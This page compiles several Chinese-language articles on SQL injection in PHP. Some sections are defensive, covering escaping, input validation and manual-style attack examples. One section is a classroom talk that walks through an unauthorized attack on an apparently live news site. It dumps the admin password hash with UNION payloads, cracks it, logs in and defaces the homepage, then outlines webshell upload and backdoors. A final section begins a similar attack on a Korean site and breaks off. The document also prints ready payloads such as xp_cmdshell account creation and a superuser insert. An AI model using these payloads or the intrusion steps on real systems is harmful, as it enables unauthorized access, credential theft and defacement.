php 如何做数据库攻击(如:SQL注入)脚本安全

| 收藏本文 下载本文 作者:Ruka

以下是小编为大家整理的php 如何做数据库攻击(如:SQL注入)脚本安全(共含9篇),仅供参考,欢迎大家阅读。同时,但愿您也能像本文投稿人“Ruka”一样,积极向本站投稿分享好文章。

php 如何做数据库攻击(如:SQL注入)脚本安全

篇1:php 如何做数据库攻击(如:SQL注入)脚本安全

PHP mysql_real_escape_string 函数

PHP MySQL 函数

定义和用法

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符,

下列字符受影响:

\x00

\n

\r

\

'

\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

语法

mysql_real_escape_string(string,connection)

参数描述

string必需。规定要转义的字符串。

connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

说明

本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query() 。

提示和注释

提示:可使用本函数来预防数据库攻击。

例子

例子 1

{ die('Could not connect: ' . mysql_error());

} // 获得用户名和密码的代码 // 转义用户名和密码,以便在 SQL 中使用 $user =mysql_real_escape_string($user); $pwd =mysql_real_escape_string($pwd); $sql = ”SELECT * FROM users WHERE

user='“ . $user . ”' AND password='“ . $pwd . ”'“ // 更多代码 mysql_close($con); ?>

例子 2

数据库攻击。本例演示如果我们不对用户名和密码应用 mysql_real_escape_string() 函数会发生什么:

{ die('Could not connect: ' . mysql_error());

} $sql = ”SELECT * FROM users

WHERE user='{$_POST['user']}'

AND password='{$_POST['pwd']}'“;

mysql_query($sql); // 不检查用户名和密码 // 可以是用户输入的任何内容,比如: $_POST['user'] = 'john'; $_POST['pwd'] = ”' OR ''='“; // 一些代码... mysql_close($con); ?>

那么 SQL 查询会成为这样:

SELECT * FROM users WHERE user='john' AND password='' OR ''=''

这意味着任何用户无需输入合法的密码即可登陆,

例子 3

预防数据库攻击的正确做法:

{ $value =stripslashes($value);

} // 如果不是数字则加引号 if (!is_numeric($value))

{ $value = ”'“ .mysql_real_escape_string($value). ”'“;

} return $value;

} $con = mysql_connect(”localhost“, ”hello“, ”321“); if (!$con)

{ die('Could not connect: ' . mysql_error());

} // 进行安全的 SQL $user = check_input($_POST['user']); $pwd = check_input($_POST['pwd']); $sql = ”SELECT * FROM users WHERE

user=$user AND password=$pwd“;

mysql_query($sql);

mysql_close($con); ?>

?

篇2:Web安全之SQL注入攻击脚本安全

前言: ①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促,

能力有限,不到之处请大家批评指正;

②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是诸位能看得懂

基本的 SQL 语句(想想海璐姐你就懂了);

③本晨讲形式为PPT+个人演讲+实际演示,但因为TTS征文限制,少去了很多效果,深表遗憾;

④原创 文章 ,达内首发,希望喜欢的同学,多多支持!如有疑问致信:chinanala@gmail.com

=============以下是晨讲内容脚本,实战演练部分配以文字说明=============

大家早上好!今天由我给大家带来《 web 安全之 SQL注入 篇》系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:

第一讲:“纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理。”;

第二讲:“实战演练:我们要在 互联网 上随机对网站进行友情检测,活学活用,举一反三”;

第三讲:“扩展内容:挂马,提权,留门。此讲内容颇具危害性,不予演示。仅作概述”。

这个主题涉及的东西还是比较多的,结合我们前期所学。主要是让大家切身体会一下,管中窥豹,起到知己知彼的作用。千里之堤溃于蚁穴,以后进入单位,从事相关程序开发,一定要谨小慎微。

问:大家知道骇客们攻击网站主要有哪些手法?

SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。

下面,就让我们一起推开计算机中那另一扇不为人知的门---

一、纸上谈兵

(一)了解注入原理

为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。

我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句 java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。

(二)架设注入环境

我们知道现在php作为一门网页编程语言真是风生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境,如 腾讯 的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌,首先是在本地架设wamp环境。需要用到的工具有:apache,mysql,php ,这几个组件可以单独下载安装,不过安装配置过程较为繁琐,还是建议新手直接从网上下载phpnow ,一个绿色程序,包含上述三个组件,傻瓜化操作就可以了。

然后呢,我们要建立 测试 用的数据表,编写html,php,文件,通过实例具体来演示通过SQL注入,登入后台管理员界面。这里,我之前已经写好了,大家看下:

1.创建一张试验用的数据表:

CREATE TABLE users (

id int(11) NOT NULL AUTO_INCREMENT,

username varchar(64) NOT NULL,

password varchar(64) NOT NULL,

email varchar(64) NOT NULL,

PRIMARY KEY (id),

UNIQUE KEY username (username)

);

添加一条记录用于测试:

INSERT INTO users (username,password,email)

VALUES('tarena',md5('admin'),'tarena@admin.com');

2.接下来,贴上登录界面的源代码:

Sql注入演示

Sql注入演示

用户名:

密  码:

当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)。

3.验证模块代码如下:

登录验证

$conn=@mysql_connect(”localhost“,'root','') or die(”数据库连接失败!“);;

mysql_select_db(”injection“,$conn) or die(”您要选择的数据库不存在“);

$name=$_POST['username'];

$pwd=$_POST['password'];

$sql=”select * from users where username='$name' and password='$pwd'“;

$query=mysql_query($sql);

$arr=mysql_fetch_array($query);

if(is_array($arr)){

header(”Location:manager.php“);

}else{

echo ”您的用户名或密码输入有误,请重新登录!“;

}

?>

注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。

代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。

(三)演示注入手法

到这里,前期工作已经做好了,我们看这个登录界面,虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面,但从攻击者角度来说,透过现象看本质,我们应当意识到隐藏在这个登录页面背后的是一条select 语句---

OK! 接下来将展开我们的重头戏:SQL注入

填好正确的用户名(tarena)和密码(admin)后,点击提交,将会返回给我们“欢迎管理员”的界面。

因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:

select * from users where username='tarena' and password=md5('admin')

很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。

比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:

select * from users where username='' or 1=1#' and password=md5('')

语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:

select * from users where username='' or 1=1#' and password=md5('')

等价于

select * from users where username='' or 1=1

因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:

select * from users

没错,该sql语句的作用是检索users表中的所有字段

果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~

二、实战演练

OK,前面铺垫了那么多,算是给大家科普了,

现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 www.guoshang.tk 这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。

(一)积极备战

1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;

2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点

www.guoshang.tk;

谷歌搜索小技巧:筛选关键字:”inurl:/news/read.php?id=“

(二)狼烟四起

1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,

www.guoshang.tk/news/read.php?id=50

可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。

2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问

www.guoshang.tk/news/read.php?id=50

时数据库中执行的SQL语句大概是这样的:

Select * from [表名] where id=50

添加and 1=1后的SQL语句:

Select * from [表名] where id=50 and 1=1

由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的

添加and 1=2后的SQL语句:

Select * from [表名] where id=50 and 1=2

由于条件1=2永远为假,所以返回的页面和正常页面不一致

3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:

www.guoshang.tk/news/read.php?id=50

现在要判断数据库类型以及版本,构造语句如下:

www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51

发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0

以下版本或者其他类型数据库。

4。爆字段。接着我们再构造如下语句来猜表中字段:

a. www.guoshang.tk/news/read.php?id=50 order by 10

返回错误页面,说明字段小于10

b. www.guoshang.tk/news/read.php?id=50 order by 5

返回正常页面,说明字段介于5和10之间

c. www.guoshang.tk/news/read.php?id=50 order by 7

返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下

d. www.guoshang.tk/news/read.php?id=50 order by 6

返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。

5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:

www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6

我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。

6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下

www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                 1,2,database(),4,5,6

浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .

现在我们用同样的手法查询下 管理员信息 ,构造语句如下:

www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                 1,2,user(),4,5,6

返回 root@localhost ,是个管理员权限。

现在我们再用同样的手法查询用户名,密码,构造语句如下:

www.guoshang.tk/news/read.php?id=50 and 1=2 union select

1,2,username,4,5,6 from admin

返回 admin

www.guoshang.tk/news/read.php?id=50 and 1=2 union select                              1,2,password,4,5,6 from admin

返回 B2E5B76793EDA747382E81391AA3A400

7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)

8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:

①先试下几个比较常用的目录;

②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序,     分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;

③手工不通,借力工具。明小子,啊D,御剑,都可以。

9。这里我们发现此网站依然采用程序默认管理路径:

www.guoshang.tk/dede

输入用户名 admin ,密码 chinaadmin 成功登入。

接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。

卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛

现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!

至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。

三、扩展部分

鉴于此讲内容危害性较大,不予演示。只简述其流程。

(一)webshell提权

二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .

①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);

②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传

选项,上传我们实现准备的php网马文件(tarena.php);

③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);

④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。

(二)暗修栈道

浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:

①开启telnet服务

建立匿名账户,添加至超级管理员组;

②开启远程终端服务;

③自制木马触发事件...

因系统平台而异,这里不再赘言。

后注:①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才

会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。

②文中所述演示环境建立在同时满足两个条件下:

1.php配置文件中魔术引号已关闭;

2.建站程序中没有对用户输入字符进行过滤。

篇3:数据库安全之SQL注入

很多 web 开发者没有注意到 SQL 查询是可以被篡改的,因而把 SQL 查询当作可信任的命令,殊不知道,SQL 查询可以绕开访问控制,从而绕过身份验证和权限检查。更有甚者,有可能通过 SQL 查询去运行主机操作系统级的命令。

直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术,从而达到取得隐藏数据,或覆盖关键的值,甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。下面将会给出一些真实的例子。

由于在缺乏对输入的数据进行验证,并且使用了超级用户或其它有权创建新用户的数据库帐号来连接,攻击者可以在数据库中新建一个超级用户。 例子 27-2. 一段实现数据分页显示的代码……也可以被用作创建一个超级用户(PostgreSQL系统)。

$offset = $argv[0]; // 注意,没有输入验证!

$query = ”SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;“;

$result = pg_query($conn, $query);

?>

一般的用户会点击 $offset 已被斌值的“上一页”、“下一页”的链接。原本代码只会认为 $offset 是一个数值。然而,如果有人尝试把以下语句先经过 urlencode 处理,然后加入URL中的话:

0;

insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)

select 'crack', usesysid, 't','t','crack'

from pg_shadow where usename='postgres';

--

那么他就可以创建一个超级用户了。注意那个 0; 只不过是为了提供一个正确的偏移量以便补充完整原来的查询,使它不要出错而已。

注: -- 是 SQL 的注释标记,一般可以使用来它告诉 SQL 解释器忽略后面的语句。

对显示搜索结果的页面下手是一个能得到密码的可行办法。攻击者所要做的只不过是找出哪些提交上去的变量是用于 SQL 语句并且处理不当的。而这类的变量通常都被用于 SELECT 查询中的条件语句,如 WHERE, ORDER BY, LIMIT 和 OFFSET。如果数据库支持 UNION 构造的话,攻击者还可能会把一个完整的 SQL 查询附加到原来的语句上以便从任意数据表中得到密码。因此,对密码字段加密是很重要的。 例子 27-3. 显示文章……以及一些密码(任何数据库系统)

$query = ”SELECT id, name, inserted, size FROM products

WHERE size = '$size'

ORDER BY $order LIMIT $limit, $offset;“;

$result = odbc_exec($conn, $query);

?>

可以在原来的查询的基础上添加另一个 SELECT 查询来获得密码:

'

union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;

--

假如上述语句(使用 ' 和 --)被加入到 $query 中的任意一个变量的话,那么就麻烦了。

SQL 中的 UPDATE 也会受到攻击。这种查询也可能像上面的例子那样 入或附加上另一个完整的请求。但是攻击者更愿意对 SET 子句下手,这样他们就可以更改数据表中的一些数据。这种情况下必须要知道数据库的结构才能修改查询成功进行。可以通过表单上的变量名对字段进行猜测,或者进行暴力破解。对于存放用户名和密码的字段,命名的方法并不多。 例子 27-4. 从重设密码……到获得更多权限(任何数据库系统)

$query = ”UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';“;

?>

但是恶意的用户会把 ' or uid like'%admin%'; -- 作为变量的值提交给 $uid 来改变 admin 的密码,或者把 $pwd 的值提交为 ”hehehe', admin='yes', trusted=100 “(后面有个空格)去获得更多的权限。这样做的话,查询语句实际上就变成了:

// $uid == ' or uid like'%admin%'; --

$query = ”UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --“;

// $pwd == ”hehehe', admin='yes', trusted=100 “

$query = ”UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE

...;“;

?>

下面这个可怕的例子将会演示如何在某些数据库上执行系统命令,

例子 27-5. 攻击数据库所在主机的操作系统(MSSQL Server)

$query = ”SELECT * FROM products WHERE id LIKE '%$prod%'“;

$result = mssql_query($query);

?>

如果攻击提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 $prod的值,那么 $query 将会变成

$query = ”SELECT * FROM products

WHERE id LIKE '%a%'

exec master..xp_cmdshell 'net user test testpass /ADD'--“;

$result = mssql_query($query);

?>

MSSQL 服务器会执行这条 SQL 语句,包括它后面那个用于向系统添加用户的命令。如果这个程序是以 sa 运行而 MSSQLSERVER 服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。

注: 虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。使用不同的方法,各种数据库都有可能遭殃。

预防措施

也许有人会自我安慰,说攻击者要知道数据库结构的信息才能实施上面的攻击。没错,确实如此。但没人能保证攻击者一定得不到这些信息,一但他们得到了,数据库有泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容得到到相关的代码。如果这些代码设计不良的话,风险就更大了。

这些攻击总是建立在发掘安全意识不强的代码上的。所以,永远不要信任外界输入的数据,特别是来自于客户端的,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。

永远不要使用超级用户或所有者帐号去连接数据库。要用权限被严格限制的帐号。

检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类型函数(比如 is_numeric(),ctype_digit())到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。

如果程序等待输入一个数字,可以考虑使用 is_numeric() 来检查,或者直接使用 settype() 来转换它的类型,也可以用 sprintf() 把它格式化为数字。 例子 27-6. 一个实现分页更安全的方法

settype($offset, 'integer');

$query = ”SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;“;

// 请注意格式字符串中的 %d,如果用 %s 就毫无意义了

$query = sprintf(”SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;“,

$offset);

?>

使用数据库特定的敏感字符转义函数(比如 mysql_escape_string() 和 sql_escape_string())把用户提交上来的非数字数据进行转义。如果数据库没有专门的敏感字符转义功能的话 addslashes() 和 str_replace() 可以代替完成这个工作。看看第一个例子,此例显示仅在查询的静态部分加上引号是不够的,查询很容易被攻破。

要不择手段避免显示出任何有关数据库的信心,尤其是数据库结构。参见错误报告和错误处理函数。

也可以选择使用数据库的存储过程和预定义指针等特性来抽象数库访问,使用户不能直接访问数据表和视图。但这个办法又有别的影响。

除此之外,在允许的情况下,使用代码或数据库系统保存查询日志也是一个好办法。显然,日志并不能防止任何攻击,但利用它可以跟踪到哪个程序曾经被尝试攻击过。日志本身没用,要查阅其中包含的信息才行。毕竟,更多的信息总比没有要好。

篇4:手把手叫你SQL注入攻防(PHP语法)脚本安全

1.什么是 SQL注入 ,猛戳 查看

2.本地 测试 代码:

如果表单提交正确,就打印hello,“username”

否则,打印“404 not found!”

require 'config.php';

$DBConnection = mysql_connect ( ”$dbhost“, ”$dbuser“, ”$dbpwd“ );

mysql_select_db ( ”$dbdatabase“ );

if(isset($_GET['submit']) && $_GET['submit']){

$sql=”select * from  test  where name='“.$_GET['username'].”'and password='“.$_GET['password'].”'“;

//echo $sql;exit;

$result=mysql_query($sql,$DBConnection);

$num=mysql_num_rows($result);

if($num>=1)

{

echo ”hello,“.$_GET['username'];

}

else {

echo”404 not found“;

}

}

?>

username

password

submit

3.浏览器界面显示:

4.重头戏,sql注入:

5.原理--为什么用户名不正确,却可以显示hello?

我可以echo一下:

$sql=”select * from test where name='“.$_GET['username'].”'and password='“.$_GET['password'].”'“;

echo $sql;exit;

显示:

拿到我的mysql数据库中查询:

可以看到,居然能查到信息,因为sql语句中,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果,

手把手叫你SQL注入攻防(PHP语法)脚本安全

6.小结:

1)其实这个sql注入过程上很简单,困难的地方在于提交SQL注入语句的灵活性上面,单引号的使用很关键,另外,多用echo打印调试也很值得一试~~

2)GET方式提交表单很危险,所以还是用POST方式吧!

参考:blog.csdn.net/gideal_wang/Article/details/4316691

3)防止SQL注入:可以看出,sql注入就是用户提交一些非法的字符(如本文的单引号’和sql语句的注释号--,还有反斜杠\等),所以要用转义: htmlspecialchars函数,mysql_read_escape_string函数都可以实现。

4)JS段验证表单了,JSP/PHP等后台还要验证码?

---需要,因为friebug可以禁用JS...

--------------------------------------------------------------------------

update:

上面的方法,当password通过md5加密的话,就无法实现注入了,那么就在username上做手脚:

username后面的内容就都被注释掉了。哈哈~

篇5:什么是SQL注入攻击

SQL注入攻击是 对数据库进行攻击的常用手段之一,

什么是SQL注入攻击

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程

篇6:PHP如何防止SQL注入

PHP如何防止SQL注入

一、引言

PHP是一种力量强大但相当容易学习的服务器端脚本语言,即使是经验不多的程序员也能够使用它来创建复杂的动态的web站点,然而,它在实现因特网服务的秘密和安全方面却常常存在许多困难。在本系列文章中,我们将向读者介绍进行web开发所必需的安全背景以及PHP特定的知识和代码-你可以借以保护你自己的web应用程序的安全性和一致性。首先,我们简单地回顾一下服务器安全问题-展示你如何存取一个共享宿主环境下的私人信息,使开发者脱离开生产服务器,维持最新的软件,提供加密的频道,并且控制对你的系统的存取。

然后,我们讨论PHP脚本实现中的普遍存在的脆弱性。我们将解释如何保护你的脚本免于SQL注入,防止跨站点脚本化和远程执行,并且阻止对临时文件及会话的”劫持”。

在最后一篇中,我们将实现一个安全的Web应用程序。你将学习如何验证用户身份,授权并跟踪应用程序使用,避免数据损失,安全地执行高风险性的系统命令,并能够安全地使用web服务。无论你是否有足够的PHP安全开发经验,本系列文章都会提供丰富的信息来帮助你构建更为安全的在线应用程序。

二、什么是SQL注入

如果你打算永远不使用某些数据的话,那么把它们存储于一个数据库是毫无意义的;因为数据库的设计目的是为了方便地存取和操作数据库中的数据。但是,如果只是简单地这样做则有可能会导致潜在的灾难。这种情况并不主要是因为你自己可能偶然删除数据库中的一切;而是因为,当你试图完成某项”无辜”的任务时,你有可能被某些人所”劫持”-使用他自己的破坏性数据来取代你自己的数据。我们称这种取代为”注入”。

其实,每当你要求用户输入构造一个数据库查询,你是在允许该用户参与构建一个存取数据库服务器的命令。一位友好的用户可能对实现这样的操作感觉很满意;然而,一位恶意的用户将会试图发现一种方法来扭曲该命令,从而导致该被的扭曲命令删除数据,甚至做出更为危险的事情。作为一个程序员,你的任务是寻找一种方法来避免这样的恶意攻击。

三、SQL注入工作原理

构造一个数据库查询是一个非常直接的过程。典型地,它会遵循如下思路来实现。仅为说明问题,我们将假定你有一个葡萄酒数据库表格”wines”,其中有一个字段为”variety”(即葡萄酒类型):

1. 提供一个表单-允许用户提交某些要搜索的内容,

让我们假定用户选择搜索类型为”lagrein”的葡萄酒。

2. 检索该用户的搜索术语,并且保存它-通过把它赋给一个如下所示的变量来实现:

$variety = $_POST['variety'];

因此,变量$variety的值现在为:

lagrein

3. 然后,使用该变量在WHERE子句中构造一个数据库查询:

$query = “SELECT * FROM wines WHERE variety=’$variety’”;

所以,变量$query的值现在如下所示:

SELECT * FROM wines WHERE variety=’lagrein’

4. 把该查询提交给MySQL服务器。

5. MySQL返回wines表格中的所有记录-其中,字段variety的值为”lagrein”。

到目前为止,这应该是一个你所熟悉的而且是非常轻松的过程。遗憾的是,有时我们所熟悉并感到舒适的过程却容易导致我们产生自满情绪。现在,让我们再重新分析一下刚才构建的查询。

1. 你创建的'这个查询的固定部分以一个单引号结束,你将使用它来描述变量值的开始:

$query = ” SELECT * FROM wines WHERE variety = ‘”;

2. 使用原有的固定不变的部分与包含用户提交的变量的值:

$query .= $variety;

3. 然后,你使用另一个单引号来连接此结果-描述该变量值的结束:

$ query .= “‘”;

于是,$query的值如下所示:

SELECT * FROM wines WHERE variety = ‘lagrein’

这个构造的成功依赖用户的输入。在本文示例中,你正在使用单个单词(也可能是一组单词)来指明一种葡萄酒类型。因此,该查询的构建是无任何问题的,并且结果也会是你所期望的-一个葡萄酒类型为”lagrein”的葡萄酒列表。现在,让我们想象,既然你的用户不是输入一个简单的类型为”lagrein”的葡萄酒类型,而是输入了下列内容(注意包括其中的两个标点符号):

lagrein’ or 1=1;

篇7:和我一起学PHP手工注入脚本安全

作者:冰的原点[L.S.T]

看了这么多的ASP注入的,各位是不是已经厌倦了ASP方面的注入呢?呵呵,千万不能厌倦呀,只有不断的学习,才不会被别人甩很远的!那么今天就跟着我一起学习下PHP环境下的手工注入吧.

今天的网站是一韩国的站点,注入点我已经找到了,大家如果怕麻烦的话,可以用啊D找下注入点,其实啊D不仅能找出ASP环境下的注入点,而且PHP,ASPX以及JSP的都可以找出来的哦,截张图大家看下,如图1.

其实找注入点这种事对啊D来说还是很容易的,不过接下来的事就得靠我们自己的双手来进行了.回到正文上,我们首先要判断下数据库是不是使用的mysql,在注入点处输入/*,如果正常返回的话就说明是mysql的了,因为mysql数据是支持/*的注释的,如图2,返回正确页面,然后我们得判断下mysql的版本,如果支持union查询就好办多了,我们在注入点处输入如下语句:and ord(mid(version,1,1))>51/*,返回正常,如图3..说明数据库版本是大于4.0的,也就是说支持union查询的.到这里我们最好先判断下权限,如果是root的话后面的提权就好办多了,我们提交:ord(mid(user(),1,1))=114/*,返回错误,说明不是root的权限,只能老老实实的猜表啦.好,接下来猜它的字段数,利用order by 后面加数字的方法能够很快猜出字段数,例如我提交:www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 10,返回正常,说明字段数大于10的,如图4,继续猜,然后提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 20,返回错误,如图5,说明字段数小于20,接下来就是苦力活了,当我们提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 17正常,而www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 